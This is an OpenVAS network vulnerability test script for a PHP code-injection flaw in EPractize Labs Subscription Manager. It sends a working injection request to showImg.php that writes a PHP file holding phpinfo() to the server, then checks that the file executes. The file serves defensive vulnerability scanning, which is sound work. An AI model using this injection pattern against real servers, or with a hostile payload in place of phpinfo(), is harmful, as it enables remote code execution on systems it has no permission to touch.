EPractize Labs Subscription Manager 'showImg.php' PHP Code Injection Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_EPractize_Subscription_Manager_50919.nasl 5715 2017-03-24 11:34:41Z cfi $
#
# EPractize Labs Subscription Manager 'showImg.php' PHP Code Injection Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "EPractize Labs Subscription Manager is prone to a remote PHP code-
injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP
code in the context of the affected application. This may facilitate a
compromise of the application and the underlying system; other attacks
are also possible.";

if (description)
{
 script_id(103401);
 script_bugtraq_id(50919);
 script_version ("$Revision: 5715 $");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_name("EPractize Labs Subscription Manager 'showImg.php' PHP Code Injection Vulnerability");
 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/50919");
 script_xref(name : "URL" , value : "http://www.epractizelabs.com/email-marketing/subscription-manager.html");
 script_xref(name : "URL" , value : "http://archives.neohapsis.com/archives/fulldisclosure/current/0118.html");
 script_tag(name:"last_modification", value:"$Date: 2017-03-24 12:34:41 +0100 (Fri, 24 Mar 2017) $");
 script_tag(name:"creation_date", value:"2012-01-26 12:49:25 +0100 (Thu, 26 Jan 2012)");
 script_category(ACT_ATTACK);
 script_tag(name:"qod_type", value:"remote_vul");
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
   
port = get_http_port( default:80 );
if( ! can_host_php( port:port ) ) exit( 0 );

file = "openvas-" + rand() + ".php";

foreach dir( make_list_unique( "/Subscribe", "/subscribe", cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/index.php";
  buf = http_get_cache( item:url, port:port );

  if( "<title> Mailing List" >< buf && "eplform" >< buf ) {

    url = dir + "/showImg.php?db=" + file + "&email=%3C?php%20phpinfo();%20?%3E";
    req = http_get( item:url, port:port );
    buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    if( buf =~ "HTTP/1.. 200 OK" ) {
      url = dir + "/" + file;
      if( http_vuln_check( port:port, url:url, pattern:"<title>phpinfo\(\)" ) ) {
        report = report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 99 );